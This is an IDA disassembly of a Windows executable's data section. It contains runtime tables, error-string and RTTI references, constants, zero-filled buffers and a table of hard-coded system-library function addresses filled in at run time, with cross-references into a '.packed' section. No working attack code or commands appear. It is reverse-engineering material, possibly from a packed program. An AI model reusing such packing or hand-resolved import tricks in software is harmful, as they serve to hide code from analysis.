		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43D308	dd 0D2D0920h, 5Dh	; DATA XREF: sub_420C7F+19o
					; sub_420DB0:loc_421317o
dword_43D310	dd 5Dh,	0		; DATA XREF: sub_420DB0:loc_421207o
dword_43D318	dd 14h			; DATA XREF: sub_421EC4+2o
off_43D31C	dd offset aExp		; DATA XREF: sub_421EC4:loc_421EE1r
					; "exp"
		dd 1Dh,	427858h, 1Ah, 42C614h, 1Bh, 427850h, 1Fh, 427848h
		dd 13h,	427840h, 21h, 427838h, 0Eh, 427830h, 0Dh, 427828h
		dd 0Fh,	427820h, 10h, 427818h, 5, 427810h, 1Eh,	42780Ch
		dd 12h,	427808h, 20h, 427804h, 0Ch, 4277FCh, 0Bh, 4277F4h
		dd 15h,	4277ECh, 1Ch, 4277E4h, 19h, 4277DCh, 11h, 4277D4h
		dd 18h,	4277CCh, 16h, 4277C4h, 17h, 4277BCh, 22h, 4277B8h
		dd 23h,	4277B4h, 24h, 4277B0h
dbl_43D3F0	dq 1.797693134862316e308 ; DATA	XREF: sub_421BFF+B7r
					; sub_421BFF:loc_421CE6r ...
		dd 0
		dd 0FFF80000h
dbl_43D400	dq 1.797693134862316e308 ; DATA	XREF: sub_421BFF+92r
					; sub_421BFF:loc_421CBEr ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43D418	dt 2.3562723457267347066e313 ; DATA XREF: sub_4220AC+Dr
					; sub_4220AC+1Fr
		align 4
tbyte_43D424	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_4220AC+31r
		align 10h
off_43D430	dd offset sub_422540	; DATA XREF: sub_41D13C+Fw
					; sub_41FF3F+3AAr
off_43D434	dd offset sub_4221D5	; DATA XREF: sub_41D13C+5w
					; sub_41FF3F+3E2r
off_43D438	dd offset sub_42223B	; DATA XREF: sub_41D13C+14w
					; sub_420DB0+430r
off_43D43C	dd offset sub_42217B	; DATA XREF: sub_41D13C+1Ew
					; sub_41FF3F+3CBr
off_43D440	dd offset sub_422223	; DATA XREF: sub_41D13C+28w
off_43D444	dd offset sub_422540	; DATA XREF: sub_41D13C+32w
		dd offset sub_424F1C
		align 10h
		dd offset sub_422DFC
off_43D454	dd offset sub_422DFC	; DATA XREF: sub_422E52+29r
dword_43D458	dd 0C0000005h		; DATA XREF: sub_423638+Ar
					; sub_423638+11o ...
dword_43D45C	dd 0Bh			; DATA XREF: sub_425D33+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43D4D0	dd 3			; DATA XREF: sub_4234F7+58r
					; sub_425C06+C8r
dword_43D4D4	dd 7			; DATA XREF: sub_4234F7+5Er
					; sub_425C06+CDr
dword_43D4D8	dd 0Ah			; DATA XREF: sub_423638+4r
					; sub_425D33+4r
dword_43D4DC	dd 8Ch			; DATA XREF: sub_4234F7+82r
					; sub_4234F7+8Fw ...
dword_43D4E0	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_41F8E3:loc_41F964o
					; sub_41FE2A:loc_41FEE7o
dword_43D4E8	dd 2			; DATA XREF: sub_423DD1+Eo
					; sub_423DD1+28r
off_43D4EC	dd offset aR6002FloatingP ; DATA XREF: sub_423DD1+FCr
					; sub_423DD1+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 427B74h, 9, 427B48h, 0Ah,	427B24h, 10h, 427AF8h
		dd 11h,	427AC8h, 12h, 427AA4h, 13h, 427A78h, 18h, 427A40h
		dd 19h,	427A18h, 1Ah, 4279E0h, 1Bh, 4279A8h, 1Ch, 427980h
		dd 78h,	427970h, 79h, 427960h, 7Ah, 427950h, 0FCh, 4349F4h
		dd 0FFh, 427940h
off_43D578	dd offset dword_4DC040	; DATA XREF: sub_423DD1+1Bo
					; sub_42413E+55o
		align 10h
		dd offset dword_4DC040
		dd 101h
dword_43D588	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42413E+72o
		dd 1000h, 0
dword_43D598	dd 3 dup(0)		; DATA XREF: sub_41FE2A+50o
					; sub_420CE6+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43D5B8	dd 3 dup(0)		; DATA XREF: sub_41FE2A+58o
					; sub_420CE6:loc_420D04o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43D5E8	dd 84h dup(0)		; DATA XREF: sub_42413E+9Bo
dword_43D7F8	dd 2 dup(0)		; DATA XREF: sub_42413E+69o
dword_43D800	dd 2694h		; DATA XREF: sub_421861+3r
					; sub_4218B4+46r
		align 8
dword_43D808	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_424CFCo
dword_43D820	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424D12o
dword_43D838	dd 2 dup(0)		; DATA XREF: sub_42600E+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43D998	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_42600E+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_43DAF4	dd offset off_427CEC	; DATA XREF: .packed:00427EC4o
					; .packed:00427FB0o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_43DB0C	dd offset off_427CEC	; DATA XREF: .packed:off_427D78o
					; .packed:00427DB8o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43DB2C	dd offset off_427CEC	; DATA XREF: .packed:off_427DC0o
					; .packed:00427E04o ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_43DB4C	dd offset off_427CEC	; DATA XREF: .packed:off_427E0Co
					; .packed:00427E50o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_43DB70	dd offset off_427CEC	; DATA XREF: .packed:off_427E58o
					; .packed:00427E94o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_424F1C
		align 10h
dword_43DB90	dd 2 dup(0)		; DATA XREF: sub_40111D+C8o
byte_43DB98	db 0			; DATA XREF: sub_40111D+62o
					; sub_401221+24Do ...
		align 10h
dword_43DBA0	dd 0			; DATA XREF: sub_401221+38Fo
					; sub_401ACD+AECo ...
		dd 5 dup(0)
dword_43DBB8	dd 0			; DATA XREF: sub_401ACD+B48r
					; sub_415C40+60r
		dd 2D9h	dup(0)
dword_43E720	dd 0			; DATA XREF: sub_401ACD+5D8Cr
					; sub_401ACD+5E61r ...
		dd 7Fh dup(0)
dword_43E920	dd 0			; DATA XREF: sub_40B3BA+41w
					; sub_40B4F5+40w ...
dword_43E924	dd 0			; DATA XREF: sub_40B3BA+47w
					; sub_40B4F5+46w ...
dword_43E928	dd 0			; DATA XREF: sub_40B3BA+52w
					; sub_40B4F5+3Ar ...
dword_43E92C	dd 0			; DATA XREF: sub_40111D+Cr
					; sub_4017ED+B9w ...
dword_43E930	dd 0			; DATA XREF: sub_40B4F5+75r
					; sub_40B6D6+2Aw ...
dword_43E934	dd 0			; DATA XREF: sub_401221+3DEw
					; sub_401221+456w ...
byte_43E938	db 0			; DATA XREF: sub_4017ED+91o
					; sub_401ACD+5CD7r ...
		align 4
		dd 1B85h dup(0)
dword_445750	dd 473Ch dup(0)		; DATA XREF: .packed:off_434934o
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: .packed:off_439034o
		dd 0E306h dup(0)
dword_49005C	dd 937Eh dup(0)		; DATA XREF: .packed:off_432950o
		db 0
byte_4B4E55	db 3 dup(0)		; DATA XREF: .packed:off_431664o
		dd 0FBh	dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: .packed:off_438EA0o
		dd 5936h dup(0)
dword_4CB720	dd 0AA83h		; DATA XREF: sub_40111D+FDw
					; sub_40B3BA+13o ...
dword_4CB724	dd 1Ah			; DATA XREF: sub_401221+3Dw
					; sub_401ACD:loc_404494r ...
dword_4CB728	dd 0			; DATA XREF: sub_401221:loc_4016FFo
dword_4CB72C	dd 20h dup(0)		; DATA XREF: sub_401221+495o
					; sub_401221+52Fo ...
dword_4CB7AC	dd 10h dup(0)		; DATA XREF: sub_401221+4ABo
dword_4CB7EC	dd 24h dup(0)		; DATA XREF: sub_401221+4C2o
dword_4CB87C	dd 0			; DATA XREF: sub_401221+4B6w
					; sub_401221+546w ...
dword_4CB880	dd 0			; DATA XREF: sub_401221+4D5w
		align 10h
byte_4CB890	db 0			; DATA XREF: sub_401955+28r
					; sub_401955+30o
		align 4
dword_4CB894	dd 0			; DATA XREF: sub_401221+4E3w
					; sub_401221+4FAr ...
dword_4CB898	dd 0			; DATA XREF: sub_401221+49Aw
					; sub_401ACD+8A2r
word_4CB89C	dw 0			; DATA XREF: sub_401ACD+7BAFo
					; .packed:0040AFA9o ...
		align 10h
dword_4CB8A0	dd 77C72C6Bh		; DATA XREF: sub_409909+4A7w
					; sub_409909+4EBr
dword_4CB8A4	dd 77EBA994h		; DATA XREF: sub_409909+65w
					; sub_419C09+166r
dword_4CB8A8	dd 7622A3F4h		; DATA XREF: sub_409909+80Bw
					; sub_409909+880r ...
dword_4CB8AC	dd 71C45229h		; DATA XREF: sub_409909+9D8w
					; sub_409909+A43r ...
dword_4CB8B0	dd 71C24870h		; DATA XREF: sub_409909+98Aw
					; sub_409909+A13r ...
dword_4CB8B4	dd 77C71BB0h		; DATA XREF: sub_409909+48Dw
					; sub_409909+4DBr
dword_4CB8B8	dd 77D4808Bh		; DATA XREF: sub_409909+213w
					; sub_409909+234r ...
dword_4CB8BC	dd 71C4502Ch		; DATA XREF: sub_409909+9CBw
					; sub_409909+A3Br ...
dword_4CB8C0	dd 77DE801Bh		; DATA XREF: sub_409909+372w
					; sub_409909+3C7r ...
dword_4CB8C4	dd 77DDACABh		; DATA XREF: sub_409909+40Fw
					; sub_41AF8F+11Er
dword_4CB8C8	dd 77DE8075h		; DATA XREF: sub_409909+37Fw
					; sub_409909+3CFr ...
dword_4CB8CC	dd 77DD7496h		; DATA XREF: sub_409909+3C0w
					; sub_4191DB+ADr
dword_4CB8D0	dd 71AB1B7Bh		; DATA XREF: sub_409909+55Aw
					; sub_40FAD6+115r ...
dword_4CB8D4	dd 77E686CCh		; DATA XREF: sub_409909+72w
					; sub_409909+D2r ...
dword_4CB8D8	dd 71C2498Bh		; DATA XREF: sub_409909+97Dw
					; sub_409909+A06r ...
dword_4CB8DC	dd 77DDAB2Fh		; DATA XREF: sub_409909+3A6w
					; sub_409909+3E7r ...
dword_4CB8E0	dd 7620E8C3h		; DATA XREF: sub_409909+859w
					; sub_409909+8ACr ...
dword_4CB8E4	dd 77DD23D7h		; DATA XREF: sub_409909+2A5w
					; sub_409909+2F0r
dword_4CB8E8	dd 76214750h		; DATA XREF: sub_409909+84Cw
					; sub_409909+8A4r ...
dword_4CB8EC	dd 77E6D75Bh		; DATA XREF: sub_409909+B3w
dword_4CB8F0	dd 7620BD61h		; DATA XREF: sub_409909+866w
					; sub_409909+8B4r ...
dword_4CB8F4	dd 71AB60C9h		; DATA XREF: sub_409909+54Dw
					; sub_409909+6D0r ...
dword_4CB8F8	dd 77EBA6E9h		; DATA XREF: sub_409909+58w
					; sub_409909+CAr ...
dword_4CB8FC	dd 76D62A58h		; DATA XREF: sub_409909+934w
					; sub_413E10+11Ar
dword_4CB900	dd 76F36EAAh		; DATA XREF: sub_401ACD:loc_403ECBr
					; sub_409909+A95w ...
dword_4CB904	dd 77E802FCh		; DATA XREF: sub_409909+A6w
					; sub_409909+F2r
dword_4CB908	dd 77C75455h		; DATA XREF: sub_409909+480w
					; sub_409909+4D3r
dword_4CB90C	dd 71AB12A7h		; DATA XREF: sub_409909+5F6w
					; sub_40C267+20r ...
dword_4CB910	dd 71C574FAh		; DATA XREF: sub_409909+9BEw
					; sub_409909+A33r
dword_4CB914	dd 71AB1746h		; DATA XREF: sub_409909+5E9w
					; sub_409909+754r ...
dword_4CB918	dd 71C21CA3h		; DATA XREF: sub_409909+A0Cw
dword_4CB91C	dd 71B28D0Dh		; DATA XREF: sub_409909+B50w
					; sub_40DC41+9Ar
dword_4CB920	dd 762211EFh		; DATA XREF: sub_409909+7FEw
					; sub_409909+86Dr ...
dword_4CB924	dd 77D902E3h		; DATA XREF: sub_409909+1B3w
					; sub_40B5B5+3Do ...
dword_4CB928	dd 71C2FA86h		; DATA XREF: sub_409909+997w
					; sub_409909+A1Br ...
dword_4CB92C	dd 77DE1291h		; DATA XREF: sub_409909+38Cw
					; sub_409909+3D7r ...
dword_4CB930	dd 77E2C1B3h		; DATA XREF: sub_409909+399w
					; sub_409909+3DFr ...
dword_4CB934	dd 73B81E3Bh		; DATA XREF: sub_409909+C85w
					; sub_409909+C8Cr
dword_4CB938	dd 71ABF628h		; DATA XREF: sub_409909+6ACw
					; sub_4111C0+D0r
dword_4CB93C	dd 71AB1836h		; DATA XREF: sub_40111D+1Dr
					; sub_40111D+23r ...
dword_4CB940	dd 77C72889h		; DATA XREF: sub_409909+4B4w
dword_4CB944	dd 71C453F8h		; DATA XREF: sub_409909+9E5w
					; sub_409909+A4Br ...
dword_4CB948	dd 77DD5C55h		; DATA XREF: sub_401000+51r
					; sub_409909+2B2w ...
dword_4CB94C	dd 77E96645h		; DATA XREF: sub_409909+7Fw
					; sub_409909+DAr ...
dword_4CB950	dd 77428B97h		; DATA XREF: sub_401ACD+5840r
					; sub_401ACD+781Er ...
dword_4CB954	dd 71AB41DAh		; DATA XREF: sub_401221+8Cr
					; sub_401ACD+5037r ...
dword_4CB958	dd 762059A3h		; DATA XREF: sub_409909+825w
					; sub_409909+890r ...
dword_4CB95C	dd 71C4A1B4h		; DATA XREF: sub_409909+9A4w
					; sub_409909+A23r
dword_4CB960	dd 1F7CD214h		; DATA XREF: sub_409909+C0Ew
					; sub_409909+C3Fr
dword_4CB964	dd 77E09134h		; DATA XREF: sub_409909+2CCw
					; sub_418A2E+47r
dword_4CB968	dd 77D4456Bh		; DATA XREF: sub_409909+22Dw
					; sub_4126A7+40r ...
dword_4CB96C	dd 76D629BBh		; DATA XREF: sub_409909+91Aw
					; sub_409909+92Er ...
dword_4CB970	dd 1F7B9D96h		; DATA XREF: sub_409909+C28w
dword_4CB974	dd 77E09070h		; DATA XREF: sub_409909+2D9w
					; sub_418A2E+4Fr
dword_4CB978	dd 71AB1740h		; DATA XREF: sub_409909+574w
					; sub_409909+6E8r ...
dword_4CB97C	dd 7620AFB6h		; DATA XREF: sub_409909+83Fw
					; sub_409909+873r
dword_4CB980	dd 77D5C13Ah		; DATA XREF: sub_409909+220w
					; sub_409909+23Cr ...
dword_4CB984	dd 77D45B19h		; DATA XREF: sub_409909+172w
					; sub_409909+1C2r
dword_4CB988	dd 71AB157Eh		; DATA XREF: sub_401ACD+1DCEr
					; sub_401ACD+59F9r ...
dword_4CB98C	dd 71AB3E5Dh		; DATA XREF: sub_4017ED+C4r
					; sub_401ACD+50C1r ...
dword_4CB990	dd 71AB14DCh		; DATA XREF: sub_409909+567w
					; sub_409909+6DCr ...
dword_4CB994	dd 0CC0004h		; DATA XREF: sub_409909+8DBw
					; sub_409909:loc_40A202w ...
dword_4CB998	dd 77DD590Bh		; DATA XREF: sub_401000+26r
					; sub_409909+28Bw ...
dword_4CB99C	dd 71ABD755h		; DATA XREF: sub_401ACD+77AFr
					; sub_409909+69Fw ...
dword_4CB9A0	dd 77DF7311h		; DATA XREF: sub_409909+32Dw
					; sub_409909+341r ...
dword_4CB9A4	dd 77DDA2AFh		; DATA XREF: sub_409909+3B3w
					; sub_409909+3EFr ...
dword_4CB9A8	dd 1F7CD927h		; DATA XREF: sub_409909+C01w
					; sub_409909+C37r
dword_4CB9AC	dd 76206853h		; DATA XREF: sub_409909+818w
					; sub_409909+888r ...
dword_4CB9B0	dd 77D4932Ch		; DATA XREF: sub_409909+206w
					; sub_409909+227r ...
dword_4CB9B4	dd 77D5E310h		; DATA XREF: sub_409909+18Cw
					; sub_409909+1D2r ...
dword_4CB9B8	dd 76206B7Fh		; DATA XREF: sub_409909+832w
					; sub_409909+898r ...
dword_4CB9BC	dd 71AB1444h		; DATA XREF: sub_409909+624w
					; sub_409909+774r ...
dword_4CB9C0	dd 77DD189Ah		; DATA XREF: sub_401000+5Ar
					; sub_409909+2BFw ...
dword_4CB9C4	dd 71AB3F8Dh		; DATA XREF: sub_409909+66Bw
					; sub_409909+79Cr ...
dword_4CB9C8	dd 77DD5D20h		; DATA XREF: sub_409909+320w
					; sub_409909+334r ...
dword_4CB9CC	dd 71AB1890h		; DATA XREF: sub_409909+644w
					; sub_409909+784r ...
dword_4CB9D0	dd 77C76B34h		; DATA XREF: sub_409909+44Cw
					; sub_409909+4AEr
dword_4CB9D4	dd 77D5E38Ch		; DATA XREF: sub_409909+199w
					; sub_409909+1DAr ...
dword_4CB9D8	dd 77DDA20Bh		; DATA XREF: sub_409909+365w
					; sub_409909+3BAr ...
dword_4CB9DC	dd 76F36EEBh		; DATA XREF: sub_409909+AA2w
dword_4CB9E0	dd 71AB12A7h		; DATA XREF: sub_409909+5DCw
					; sub_409909+748r ...
dword_4CB9E4	dd 71AB1746h		; DATA XREF: sub_4017ED+3Er
					; sub_401ACD+5073r ...
dword_4CB9E8	dd 77EBA595h		; DATA XREF: sub_409909+4Bw
					; sub_409909+C2r ...
dword_4CB9EC	dd 77C7531Dh		; DATA XREF: sub_409909+473w
					; sub_409909+4CBr
dword_4CB9F0	dd 77D4BDCAh		; DATA XREF: sub_409909+165w
					; sub_409909+1BAr ...
dword_4CB9F4	dd 71C3516Ah		; DATA XREF: sub_409909+9FFw
					; sub_409909+A5Br ...
dword_4CB9F8	dd 71AB32CAh		; DATA XREF: sub_409909+685w
					; sub_409909+7ACr ...
dword_4CB9FC	dd 71AB5690h		; DATA XREF: sub_401955+D1r
					; sub_401ACD+50D6r ...
dword_4CBA00	dd 1F7CB8F8h		; DATA XREF: sub_409909+C1Bw
					; sub_409909+C47r
dword_4CBA04	dd 77EBB1E7h		; DATA XREF: sub_409909+3Ew
					; sub_409909+BAr ...
dword_4CBA08	dd 77DD59F0h		; DATA XREF: sub_401000+45r
					; sub_409909+298w ...
dword_4CBA0C	dd 71AB5DE2h		; DATA XREF: sub_409909+651w
					; sub_409909+78Cr ...
dword_4CBA10	dd 71AB3ECEh		; DATA XREF: sub_409909+637w
					; sub_409909+77Cr ...
dword_4CBA14	dd 73B81B0Fh		; DATA XREF: sub_409909+C92w
dword_4CBA18	dd 76204E4Dh		; DATA XREF: sub_409909+879w
					; sub_4167A0+4DCr ...
dword_4CBA1C	dd 0			; DATA XREF: sub_409909+112w
dword_4CBA20	dd 1F7D886Ah		; DATA XREF: sub_409909+BE7w
					; sub_409909+C22r
dword_4CBA24	dd 71AB12F8h		; DATA XREF: sub_401ACD+2F9Br
					; sub_401ACD+5EB8r ...
dword_4CBA28	dd 77C76551h		; DATA XREF: sub_409909+459w
					; sub_409909+4BBr
dword_4CBA2C	dd 77C729E2h		; DATA XREF: sub_409909+49Aw
					; sub_409909+4E3r
dword_4CBA30	dd 77C7212Fh		; DATA XREF: sub_409909+466w
					; sub_409909+4C3r
dword_4CBA34	dd 71AB1AF4h		; DATA XREF: sub_401955+89r
					; sub_401ACD+50F3r ...
dword_4CBA38	dd 77D5E303h		; DATA XREF: sub_409909+1A6w
					; sub_409909+1E2r ...
dword_4CBA3C	dd 71C4576Ch		; DATA XREF: sub_409909+9F2w
					; sub_409909+A53r ...
dword_4CBA40	dd 77D4702Fh		; DATA XREF: sub_409909+158w
					; sub_409909+1ADr ...
dword_4CBA44	dd 77E6C0E3h		; DATA XREF: sub_409909+8Cw
					; sub_409909+E2r ...
dword_4CBA48	dd 71AB1ED3h		; DATA XREF: sub_409909+610w
					; sub_409909+764r ...
dword_4CBA4C	dd 71B2A381h		; DATA XREF: sub_409909+B43w
					; sub_409909+B5Fr
dword_4CBA50	dd 77DDA595h		; DATA XREF: sub_409909+33Aw
					; sub_419B9E+55r
dword_4CBA54	dd 77DD22EAh		; DATA XREF: sub_409909+27Ew
					; sub_409909+2D3r ...
dword_4CBA58	dd 773F97B0h		; DATA XREF: sub_409909+BAAw
dword_4CBA5C	dd 76D67A29h		; DATA XREF: sub_409909+AECw
					; sub_40A928+CEr
dword_4CBA60	dd 76D674FAh		; DATA XREF: sub_409909+ADFw
					; sub_409909+AE6r ...
dword_4CBA64	dd 71AB3C22h		; DATA XREF: sub_4017ED+A6r
					; sub_401ACD+5052r ...
dword_4CBA68	dd 71AB2BBFh		; DATA XREF: sub_401ACD+5044r
					; sub_401ACD+77D6r ...
dword_4CBA6C	dd 1F7BA3A9h		; DATA XREF: sub_409909+BF4w
					; sub_409909+C2Fr
dword_4CBA70	dd 71AB401Ch		; DATA XREF: sub_401ACD+1DF4r
					; sub_401ACD+5A1Fr ...
dword_4CBA74	dd 71C214BAh		; DATA XREF: sub_409909+9B1w
					; sub_409909+A2Br ...
dword_4CBA78	dd 71AB868Dh		; DATA XREF: sub_409909+65Ew
					; sub_409909+794r ...
dword_4CBA7C	dd 71AB1A6Dh		; DATA XREF: sub_40111D+12r
					; sub_4017ED+D0r ...
dword_4CBA80	dd 71AB155Ah		; DATA XREF: sub_409909+59Bw
					; sub_409909+70Cr ...
dword_4CBA84	dd 71B22C25h		; DATA XREF: sub_409909+B36w
					; sub_409909+B57r ...
dword_4CBA88	dd 71AB5A01h		; DATA XREF: sub_409909+540w
					; sub_409909+6C4r ...
dword_4CBA8C	dd 71B2ACCBh		; DATA XREF: sub_409909+B29w
					; sub_409909+B4Ar
dword_4CBA90	dd 77E78C17h		; DATA XREF: sub_401221+52r
					; sub_409909+31w ...
dword_4CBA94	dd 77D49A11h		; DATA XREF: sub_409909+17Fw
					; sub_409909+1CAr
		dd 0
dword_4CBA9C	dd 76D62A37h		; DATA XREF: sub_409909+927w
					; sub_409909+93Br ...
dword_4CBAA0	dd 77E6CBF9h		; DATA XREF: sub_409909+99w
					; sub_409909+EAr ...
dword_4CBAA4	dd 0			; DATA XREF: sub_409909:loc_409A07w
					; sub_409909+12Bw ...
dword_4CBAA8	dd 0			; DATA XREF: sub_409909+126w
					; sub_40A5C5+1Cr
dword_4CBAAC	dd 0			; DATA XREF: sub_409909:loc_409AF7w
					; sub_409909:loc_409B5Ew ...
dword_4CBAB0	dd 0			; DATA XREF: sub_409909+250w
					; sub_40A5C5+50r
dword_4CBAB4	dd 0			; DATA XREF: sub_401221+349r
					; sub_401ACD+4468r ...
dword_4CBAB8	dd 0			; DATA XREF: sub_409909+41Ew
					; sub_40A5C5+84r
dword_4CBABC	dd 0			; DATA XREF: sub_409909:loc_409E0Dw
					; sub_40A5C5:loc_40A675r
dword_4CBAC0	dd 0			; DATA XREF: sub_409909+4FFw
					; sub_40A5C5+B8r
dword_4CBAC4	dd 0			; DATA XREF: sub_409909:loc_40A0DEw
					; sub_40A5C5:loc_40A6A9r
dword_4CBAC8	dd 0			; DATA XREF: sub_409909+7D0w
					; sub_40A5C5+ECr
dword_4CBACC	dd 0			; DATA XREF: sub_409909:loc_40A1C9w
					; sub_409909+8EFw ...
dword_4CBAD0	dd 0			; DATA XREF: sub_409909+8EAw
					; sub_40A5C5+120r
dword_4CBAD4	dd 0			; DATA XREF: sub_401ACD:loc_406E35r
					; sub_409909:loc_40A25Dw ...
dword_4CBAD8	dd 0			; DATA XREF: sub_409909+94Fw
					; sub_40A5C5+154r
dword_4CBADC	dd 0			; DATA XREF: sub_401ACD+4470r
					; sub_409909:loc_40A379w ...
dword_4CBAE0	dd 0			; DATA XREF: sub_409909+A6Bw
					; sub_40A5C5+188r
dword_4CBAE4	dd 0			; DATA XREF: sub_409909:loc_40A3C3w
					; sub_40A5C5:loc_40A779r
dword_4CBAE8	dd 0			; DATA XREF: sub_409909+AB5w
					; sub_40A5C5+1BCr
dword_4CBAEC	dd 0			; DATA XREF: sub_409909:loc_40A40Dw
					; sub_40A5C5:loc_40A7ADr
dword_4CBAF0	dd 0			; DATA XREF: sub_409909+AFFw
					; sub_40A5C5+1F0r
dword_4CBAF4	dd 0			; DATA XREF: sub_409909:loc_40A481w
					; sub_40A5C5:loc_40A7E1r
dword_4CBAF8	dd 0			; DATA XREF: sub_409909+B73w
					; sub_40A5C5+224r
dword_4CBAFC	dd 0			; DATA XREF: sub_409909:loc_40A4CBw
					; sub_40A5C5:loc_40A815r
dword_4CBB00	dd 0			; DATA XREF: sub_409909+BBDw
					; sub_40A5C5+258r
dword_4CBB04	dd 0			; DATA XREF: sub_409909:loc_40A569w
					; sub_40A5C5:loc_40A849r
dword_4CBB08	dd 0			; DATA XREF: sub_409909+C5Bw
					; sub_40A5C5+28Cr
dword_4CBB0C	dd 0			; DATA XREF: sub_409909:loc_40A5B3w
					; sub_40A5C5:loc_40A87Dr
dword_4CBB10	dd 0			; DATA XREF: sub_409909+CA5w
					; sub_40A5C5+2C0r
dword_4CBB14	dd 5 dup(0)		; DATA XREF: sub_40AA06+32o
byte_4CBB28	db 0			; DATA XREF: sub_40B2B3+6Ar
					; sub_40B2B3+98w
		align 10h
dword_4CBB30	dd 0			; DATA XREF: sub_40BD1A+18r
					; sub_40C2AF+92w ...
dword_4CBB34	dd 0			; DATA XREF: sub_40C3E8+4Dr
					; sub_40C600+D9w ...
		dd 7FEh	dup(0)
dword_4CDB30	dd 6 dup(0)		; DATA XREF: sub_40C3E8+D2o
					; sub_40C3E8+13Bo ...
dword_4CDB48	dd 0			; DATA XREF: sub_40BD91+2C4w
					; sub_40BD91+348o
